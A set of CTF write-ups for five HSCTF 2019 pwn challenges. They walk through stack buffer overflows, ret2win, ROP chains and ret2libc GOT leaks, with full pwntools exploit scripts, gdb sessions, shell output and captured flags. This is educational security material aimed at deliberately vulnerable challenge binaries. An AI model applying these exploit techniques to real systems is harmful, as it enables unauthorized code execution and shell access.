These are my writeups for the first 5 pwn challenges from HSCTF 2019.

Intro To Netcat

Challenge

Written by: Ptomerty

Hey there! This challenge is a quick introduction to netcat and how to use it. Netcat is a program that will help you “talk” with many of our challenges, especially pwn and misc. To begin, Windows users should download this file: https://drive.google.com/open?id=1Z8MS8SZYqZrteXOVPRL7BHwB4JL9t9J8

Extract the file, then open a command prompt and navigate to the directory using cd <download-directory>. From there, you can run nc misc.hsctf.com 1111 to get your first flag.

Have fun!

Solution

A very simple challenge.

» nc misc.hsctf.com 1111
Hey, here's your flag! hsctf{internet_cats}

Flag: hsctf{internet_cats}

Return To Sender

Challenge

Written by: Ptomerty

Who knew the USPS could lose a letter so many times?

nc pwn.hsctf.com 1234

Note: If you’re trying to use python or a similar program to run your exploit, make sure to keep stdin alive with cat, like this: (python; cat -) | nc pwn.hsctf.com

The challenge archive contains the following files.

return-to-sender
return-to-sender.c

Solution

This was a simple binary exploitation challenge that involved overflowing a buffer on the stack to change a return address.

The vulnerable code is shown below.

// gcc return-to-sender.c -o return-to-sender -m32 -no-pie -g0 -fno-stack-protector

#include <stdlib.h>
#include <string.h>
#include <stdio.h>

void win() {
  system("/bin/sh");
}

void vuln() {
  char dest[8];
  printf("Where are you sending your mail to today? ");
  gets(dest);
  printf("Alright, to %s it goes!\n", dest);
}

int main() {
  setbuf(stdout, NULL);
  gid_t gid = getegid();
  setresgid(gid,gid,gid);
  vuln();
  return 0;
}

The vuln() function calls gets() to get user input. The gets() function performs zero bounds checking on the user input, thus we can input as many characters as we want to overflow the dest buffer. In this case, we have to do a controlled buffer overflow so that we gain control of the return pointer of vuln(), which will then allow us to point it to the win() function and get a shell.

Let’s run checksec on the binary.

» checksec return-to-sender                                                                     
[*] '/home/faithlesss/Documents/ctfs/hsctf-6/pwn/return-to-sender/bin/return-to-sender'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

We see that there is no stack canary (and therefore no protection to a buffer overflow attack), no ASLR (Address Space Layout Randomization), and the stack is Not Executable (NX).

First, we have to show that the program indeed does crash when a huge string is passed to it.

» ./return-to-sender                                                                            
Where are you sending your mail to today? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa
Alright, to AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa it goes!
[1]    30852 segmentation fault (core dumped)  ./return-to-sender

We’ve successfully crashed the program. Let’s start gdb and see exactly what happened.

» gdb ./return-to-sender                                                                        
Reading symbols from ./return-to-sender...
(No debugging symbols found in ./return-to-sender)
(gdb) run
Starting program: /home/faithlesss/Documents/ctfs/hsctf-6/pwn/return-to-sender/bin/return-to-sender
BFD: warning: /lib/ld-linux.so.2: corrupt GNU_PROPERTY_TYPE (5) size: 0
BFD: warning: /lib/ld-linux.so.2: corrupt GNU_PROPERTY_TYPE (5) size: 0
BFD: warning: /lib/ld-linux.so.2: corrupt GNU_PROPERTY_TYPE (5) size: 0
Where are you sending your mail to today? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Alright, to AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA it goes!

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb)

At the bottom, we can see that it receives a seg fault when trying to access memory location 0x41414141. 0x41 is the ascii hex value of ‘A’, thus we overwrote the return pointer with four ‘A’s, which meant that after the vuln() function finished, it tried to return into 0x41414141.

Now, we have to figure out the offset at which we control the return pointer (i.e, how many A’s can we enter before we can enter BBBB and set the return pointer to 0x42424242?). I use metasploit’s pattern_create.rb to generate a unique pattern of 200 characters, then pass it to gdb.

» pattern_create -l 200               
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag

» gdb ./return-to-sender
Reading symbols from ./return-to-sender...
(No debugging symbols found in ./return-to-sender)
(gdb) run
Starting program: /home/faithlesss/Documents/ctfs/hsctf-6/pwn/return-to-sender/bin/return-to-sender
BFD: warning: /lib/ld-linux.so.2: corrupt GNU_PROPERTY_TYPE (5) size: 0
BFD: warning: /lib/ld-linux.so.2: corrupt GNU_PROPERTY_TYPE (5) size: 0
BFD: warning: /lib/ld-linux.so.2: corrupt GNU_PROPERTY_TYPE (5) size: 0
Where are you sending your mail to today? Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
Alright, to Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag it goes!

Program received signal SIGSEGV, Segmentation fault.
0x37614136 in ?? ()
(gdb)

Alright, now we get a seg fault at 0x37614136. I then use metasploit’s pattern_offset.rb to find at which offset the crash occurred.

» pattern_offset -l 200 -q 37614136                                                             
[*] Exact match at offset 20

Now we know that after inputting 20 ‘A’s, the next four bytes that we input will overwrite the return pointer. Now, what we want to do is execute the win() function and get a shell. This means that the return pointer just needs to be overwritten with the address of the win() function. I wrote up a python script using pwntools that does just that.

#!/usr/bin/env python

from pwn import *

# Connect to the process on the remote ip and port
connection = connect("pwn.hsctf.com", 1234)
elf = ELF("./return-to-sender")

win_addr = p32(elf.symbols['win']) # The address of the win function

padding = 'A'*20

payload = padding
payload += win_addr

# Receive the starting text, then send the payload through
connection.recv()
connection.sendline(payload)

# Make the connection interactive since win() opens a shell for us
connection.interactive()
connection.close()

The exploit basically connects to the ip and port given to us in the challenge, and sends 20 A’s, followed by the address of the win() function. The address overwrite’s the return pointer of vuln(). What this will do is it will cause the vuln() function to jump to the win() function instead of back to the main() function after it has finished executing.

Running the exploit gives us a shell, which we then use to get the flag:

» python exploit.py
[+] Opening connection to pwn.hsctf.com on port 1234: Done
[*] '/home/faithlesss/Documents/ctfs/hsctf-6/pwn/return-to-sender/bin/return-to-sender'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[*] Switching to interactive mode
Alright, to AAAAAAAAAAAAAAAAAAAA\xb6\x91\x0 it goes!
$ ls
bin
dev
flag
lib
lib32
lib64
return-to-sender
return-to-sender.c
$ cat flag
hsctf{fedex_dont_fail_me_now}
$  

Flag: hsctf{fedex_dont_fail_me_now}

Combo Chain Lite

Challenge

Written by: Ptomerty

Training wheels!

Hint: What’s a ROP?

nc pwn.hsctf.com 3131

The challenge archive contains the following files.

combo-chain-lite
combo-chain-lite.c

Solution

We are given the combo-chain-lite.c source file.

  1 #include <stdlib.h>
  2 #include <string.h>
  3 #include <stdio.h>
  4
  5 void vuln() {
  6     char dest[8];
  7     printf("Here's your free computer: %p\n", system);
  8     printf("Dude you hear about that new game called /bin/sh");
  9     printf("? Enter the right combo for some COMBO CARNAGE!: ");
 10     gets(dest);
 11 }
 12
 13 int main() {
 14     setbuf(stdout, NULL);
 15     gid_t gid = getegid();
 16     setresgid(gid,gid,gid);
 17     vuln();
 18     return 0;
 19 }

Very obvious buffer overflow in the vuln() function. The challenge also tells us we have to do a ROP chain to solve this.

Run a quick checksec on the binary.

» checksec ./combo-chain-lite
[*] '/root/Documents/hsctf-6/pwn/combo-chain-lite/bin/combo-chain-lite'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

This is a very easy ROP challenge. If you are unfamiliar with how ROP works, you can learn more about it from my writeups of the ROP Emporium challenges here, specifically split64, although you may have to read the previous writeups if you are very new to binary exploitation.

The exploit is shown below. system’s address is given to us every run, and since the /bin/sh address is hardcoded in the binary, we can just get it out of the binary.

  1 #!/usr/bin/env python
  2
  3 from pwn import *
  4
  5 context.log_level = 'critical'
  6 elf = ELF("./combo-chain-lite")
  7 sh = remote("pwn.hsctf.com" 3131)
  8 a = sh.recvline()
  9
 10 system_addr = p64(int(a.split(": ")[1], 16))
 11 binsh_gen = elf.search("/bin/sh") # Creates a generator object
 12 binsh_addr = p64(next(binsh_gen)) # Gets the next address of /bin/sh
 13 pop_rdi = p64(0x0000000000401273)
 14
 15 payload = "A"*16 # Overflow until RIP
 16 payload += pop_rdi # Jump to the pop rdi; ret; gadget
 17 payload += binsh_addr # Pop this into rdi
 18 payload += system_addr # Jump to system('/bin/sh')
 19
 20 sh.recvuntil(": ")
 21 sh.sendline(payload)
 22 sh.interactive()
 23
 24 sh.close()

We get a shell.

» python exploit.py
$ ls
combo-chain-lite  combo-chain-lite.c  exploit.py  flag
$ cat flag
hsctf{wheeeeeee_that_was_fun}
$  

Flag: hsctf{wheeeeeee_that_was_fun}

Storytime

Challenge

Written by: Tux

I want a story!!!

nc pwn.hsctf.com 3333

The challenge archive contains the following files.

storytime
storytime.c

Solution

First we take a look at the source code.

#include <stdio.h>
#include <unistd.h>

void beginning(){
        write(1, "Once upon a time...\n", 40);
}

void middle(){
        write(1, "Middle of story is the best! :D\n", 40);
}

void end(){
        write(1, "The End!\n", 40);
}

int climax(){
        char buffer[40];
        return read(0, &buffer, 4000);
}

int main() {
    char buffer[48];

    setvbuf(stdout, NULL, _IONBF, 0);
    write(1, "HSCTF PWNNNNNNNNNNNNNNNNNNNN\n", 29);
    write(1, "Tell me a story: \n", 18);
    read(0, &buffer, 400);
    return 0;

A bunch of reads and writes. Let’s run file and checksec against the binary.

» file ./storytime  
./storytime: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=3f716e7aa7e236824c52ed0410c1f14739919822, not stripped

» checksec ./storytime
[*] '/root/Documents/hsctf-6/pwn/storytime/bin/storytime'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Okay so no PIE and dynamically linked. let’s fire up gdb and see if we have a PLT entry for system(). If we have that, we can just use that to call system(‘/bin/sh’) and get a shell.

» gdb ./storytime
GEF for linux ready, type `gef' to start, `gef config' to configure
80 commands loaded for GDB 8.2.1 using Python engine 3.7
Reading symbols from ./storytime...(no debugging symbols found)...done.
gef➤  print 'system@plt'
No symbol table is loaded.  Use the "file" command.
gef➤  

No PLT entry. I quickly wrote a script to leak the libc address of the read() function since that does have a PLT entry. This requires knowing how the Procedural Linkage Table (PLT) and the Global Offset Table (GOT) work. For more information, see this.

Basically, if you have a dynamically linked file (such as the one we have now), whenever you call a function, you use its entry from the PLT table. This entry contains a jmp instruction to the GOT table entry of that specific function. If this is the first time this function is being called, the program goes through a whole process to find the address of this function in the libc libary being used for the process. Once it’s done that, it overwrites that GOT entry with this address from libc, so all subsequent calls jump straight there instead of having to re-lookup the address every time.

Since we know read() has been called already (because we are passing input to it through read()), it means that if we print the address of read@got (i.e read’s GOT entry), we will leak the address of read() from the libc library that is in use.

I simplified the above explanation a bit to save space, so I recommend reading more about it by following the link above (or just googling it by yourself)

The script is shown below.

#!/usr/bin/env python2

from pwn import *

BINARY = './storytime'

context.log_level = 'critical'
elf = ELF(BINARY)
sh = remote("pwn.hsctf.com", 3333)

# Addresses we already know from the binary
write_plt = elf.plt['write']
read_got = elf.got['read']
main_addr = elf.symbols['main']

# Gadgets
pop_rdi = 0x0000000000400703
pop_rsi_r15 = 0x0000000000400701
pop_rdx = 0

# Helper function to call a function with specified args
def call(func, arg1, arg2, arg3):
    output = ''
    if arg1 != None:
        output += p64(pop_rdi) + p64(arg1)
    if arg2 != None:
        output += p64(pop_rsi_r15) + p64(arg2)*2
    if arg3 != None:
        if pop_rdx == 0:
                print 'No rdx gadget provided'
                exit(-1)
        else:
                output += p64(pop_rdx) + p64(arg3)
    return output + p64(func)

payload = "A"*(0x30+8) # Overflow the buffer
payload += call(write_plt, 1, read_got, None) # Call write(1, read_got, <something>)
payload += p64(main_addr) # Jump back to main, important later

sh.sendlineafter(": \n", payload)

leak = hex(u64(sh.recvuntil('story')[:8])) # Leaked address is the first 8 bytes received (64bit)

print leak

The exploit script makes use of return oriented programming. If you don’t know what that is, I suggest you read through my writeups of the ROP Emporium challenges here, specifically split64, although you may have to read the previous writeups if you are very new to binary exploitation.

I wrote a call() helper function to help keep the payload compact. The exploit basically does the following:

  • Overflow the buffer.
  • Call write(1, read_got, <whatever_is_in_rdx>) where the first argument is 1 meaning stdout, second argument is read’s GOT entry (explained above), and the third argument is something we can’t control since there aren’t any pop rdx gadgets, so we just hope rdx has a positive value > 8 (since the third argument is the number of bytes to write).
  • Jump back to main (this will be important a little later).
  • The leaked address will be the first 8 bytes we receive from the write() call we just made.

We run this script a bunch of times and do indeed see that ASLR is enabled, since the libc address of read() changes, as shown below.

» ./exploit.py   
0x7f0100c9c250

» ./exploit.py   
0x7f828be0b250

» ./exploit.py   
0x7f4aebd51250

» ./exploit.py    
0x7f0372072250

So now we know we definitely have to do a ret2libc attack. We’ve got read’s libc address, so the first order of business is to figure out which libc the program is using. I use niklasb’s libc-database to do this. You just download all the libc libraries using ./get, then call ./find <func_name> <last_12_bits_of_addr>

» ./find read 250
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
archive-glibc (id libc6_2.23-0ubuntu11_amd64)
archive-old-glibc (id libc6-i386_2.19-10ubuntu2.3_amd64)

I chose the first entry (although which you choose shouldn’t matter). read() happens to be classified as a useful function, so we can just use ./dump to dump a bunch of useful offsets.

» ./dump libc6_2.23-0ubuntu10_amd64
offset___libc_start_main_ret = 0x20830
offset_system = 0x0000000000045390
offset_dup2 = 0x00000000000f7970
offset_read = 0x00000000000f7250
offset_write = 0x00000000000f72b0
offset_str_bin_sh = 0x18cd57

With the offsets, we can now finish the rest of the exploit.

This time, we leak the address of read inside libc, calculate the libc base address on the fly (by doing leaked_read_address-offset_of_read_in_libc), then use ‘/bin/sh’ and system’s offsets to calculate their addresses. Then we just jump back to main to restart the entire program, build the payload again, only this time we call system(‘/bin/sh’).

#!/usr/bin/env python2

from pwn import *

BINARY = './storytime'

context.log_level = 'critical'
elf = ELF(BINARY)
sh = remote("pwn.hsctf.com", 3333)

# Addresses we already know from the binary
write_plt = elf.plt['write']
read_got = elf.got['read']
main_addr = elf.symbols['main']

# Gadgets
pop_rdi = 0x0000000000400703
pop_rsi_r15 = 0x0000000000400701
pop_rdx = 0

# Helper function to call functions with specified args
def call(func, arg1, arg2, arg3):
    output = ''
    if arg1 != None:
        output += p64(pop_rdi) + p64(arg1)
    if arg2 != None:
        output += p64(pop_rsi_r15) + p64(arg2)*2
    if arg3 != None:
        if pop_rdx == 0:
                print 'No rdx gadget provided'
                exit(-1)
        else:
                output += p64(pop_rdx) + p64(arg3)
    return output + p64(func)

payload = "A"*(0x30+8) # Overflow the buffer
payload += call(write_plt, 1, read_got, None) # Call write(1, read_got, <something>)
payload += p64(main_addr) # Jump back to main

sh.sendlineafter(": \n", payload)

# Offsets from the libc library
read_libc_offset = 0x00000000000f7250
system_libc_offset = 0x0000000000045390
bin_sh_libc_offset = 0x18cd57

libc_base = u64(sh.recvuntil('story')[:8]) - read_libc_offset # Calculate the libc base address
print 'libc_base: {}'.format(hex(libc_base))

system_addr = libc_base + system_libc_offset # Use the base address to find system's address
bin_sh = libc_base + bin_sh_libc_offset # Use the base address to find '/bin/sh's address

# We are at main again, so we redo the payload but call system('/bin/sh') this time
payload = "A"*(0x30+8)
payload += call(system_addr, bin_sh, None, None)

sh.sendlineafter(': \n', payload)

sh.interactive()

We get the flag!

» ./exploit.py
libc_base: 0x7fdb6d860000
$ ls
bin
dev
exploit.py
flag
lib
lib32
lib64
storytime
$ cat flag
hsctf{th4nk7_f0r_th3_g00d_st0ry_yay-314879357}
$  

Flag: hsctf{th4nk7_f0r_th3_g00d_st0ry_yay-314879357}

Combo Chain

Challenge

Written by: Ptomerty

I’ve been really into Super Smash Brothers Melee lately…

nc pwn.hsctf.com 2345

Note: If you’re trying to use python or a similar program to run your exploit, make sure to keep stdin alive with cat, like this: (python; cat -) | nc pwn.hsctf.com

6/3/19 7:35 AM: Binary updated, SHA-1: 0bf0640256566d2505113f485949ec96f1cd0bb9 combo-chain

The challenge archive contained the following files.

combo-chain
combo-chain.c

Solution

This challenge is the exact same as Storytime above, except we don’t have access to the write() function, so we just use printf() instead to leak gets()’s libc address using it’s GOT entry. We then use it to find the libc version, calculate the libc base address, then re-exploit the program and call system(‘/bin/sh’) instead.

The one weird issue I ran into was that after overflowing the buffer, I had to jump to a ‘nop; ret;’ gadget before doing the actual exploit. I’m still unsure why that happened to be the case, but it did, so I guess that’s just a note to take: If your exploit isn’t working even though it should, you might just need a nop gadget after the overflow to align (?) something.

The code is shown below.

#include <stdlib.h>
#include <string.h>
#include <stdio.h>

void vuln() {
  char dest[8];
  printf("Dude you hear about that new game called /bin/sh");
  printf("? Enter the right combo for some COMBO CARNAGE!: ");
  gets(dest);
}

int main() {
  setbuf(stdout, NULL);
  gid_t gid = getegid();
  setresgid(gid,gid,gid);
  vuln();
  return 0;
}

My exploit is shown below. It’s the exact same as the one above from Storytime so I will skip the explanation. I have started to use a template for my exploits from now on. You can find it here.

#!/usr/bin/env python2

from pwn import *
import sys

# ---------------- START OF BOILERPLATE ------------------- #

argv = sys.argv

DEBUG = False
BINARY = './combo-chain'

context.binary = BINARY
context.terminal = ['tmux', 'splitw', '-v']

if context.bits == 64:
  r = process(['ROPgadget', '--binary', BINARY])
  gadgets = r.recvall().strip().split('\n')[2:-2]
  gadgets = map(lambda x: x.split(' : '),gadgets)
  gadgets = map(lambda x: (int(x[0],16),x[1]),gadgets)
  r.close()

  pop_rdi = 0
  pop_rsi_r15 = 0
  pop_rdx = 0

  for addr, name in gadgets:
    if 'pop rdi ; ret' in name:
      pop_rdi = addr
    if 'pop rsi ; pop r15 ; ret' in name:
      pop_rsi_r15 = addr
    if 'pop rdx ; ret' in name:
      pop_rdx = addr

  def call(f, a1, a2, a3):
    out = ''
    if a1 != None:
      out += p64(pop_rdi)+p64(a1)
    if a2 != None:
      out += p64(pop_rsi_r15)+p64(a2)*2
    if a3 != None:
      if pop_rdx == 0:
        print 'RDX GADGET NOT FOUND'
        exit(-1)
      else:
        out += p64(rdx)+p64(a3)
    return out+p64(f)

def attach_gdb():
  gdb.attach(sh)

if DEBUG:
  context.log_level = 'debug'

def start():
  global sh
  if len(argv) < 2:
    stdout = process.PTY
    stdin = process.PTY

    sh = process(BINARY, stdout=stdout, stdin=stdin)

    # if DEBUG:
    #   attach_gdb()

    REMOTE = False
  else:
    sh = remote('pwn.hsctf.com', 2345)
    REMOTE = True

start()

# ---------------- END OF BOILERPLATE --------------------- #

elf = ELF(BINARY)

gets_got = elf.got['gets']
printf_plt = elf.plt['printf']
main_addr = elf.symbols['main']
nop = 0x000000000040114f

payload = "A"*16 # Overflow the buffer
payload += p64(nop) # Added here because the exploit wasn't working without it for some reason
payload += call(printf_plt, gets_got, None, None) # Call printf with gets()'s GOT address to leak the gets() libc address
payload += p64(main_addr) # Jump back to main

sh.sendlineafter("!: ", payload)

leak = u64(sh.recv()[:6].ljust(8, '\x00')) # Leaked address
print 'Leaked gets libc address: {}'.format(hex(leak))

# Use niklasb's libc_database to find libc version using the leak now

# Use offsets from the libc library
gets_offset = 0x000000000006ed80
system_offset = 0x0000000000045390
bin_sh_offset = 0x18cd57

# Calculate libc base then the addresses required
libc_base = leak - gets_offset
system_addr = libc_base + system_offset
bin_sh = libc_base + bin_sh_offset

# Re-exploit and call system('/bin/sh')
payload = "A"*16
payload += p64(nop)
payload += call(system_addr, bin_sh, None, None)

sh.sendline(payload)

sh.interactive()

Running the exploit.

» ./exploit.py remote
[*] '/root/Documents/hsctf-6/pwn/combo-chain/bin/combo-chain'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Starting local process '/usr/local/bin/ROPgadget': pid 6822
[+] Receiving all data: Done (3.89KB)
[*] Stopped process '/usr/local/bin/ROPgadget' (pid 6822)
[+] Opening connection to pwn.hsctf.com on port 2345: Done
Leaked gets libc address: 0x7fbcb22b7d80
[*] Switching to interactive mode
$ ls
bin
combo-chain
combo-chain.c
dev
flag
lib
lib32
lib64
$ cat flag
hsctf{i_thought_konami_code_would_work_here}
$  

Flag: hsctf{i_thought_konami_code_would_work_here}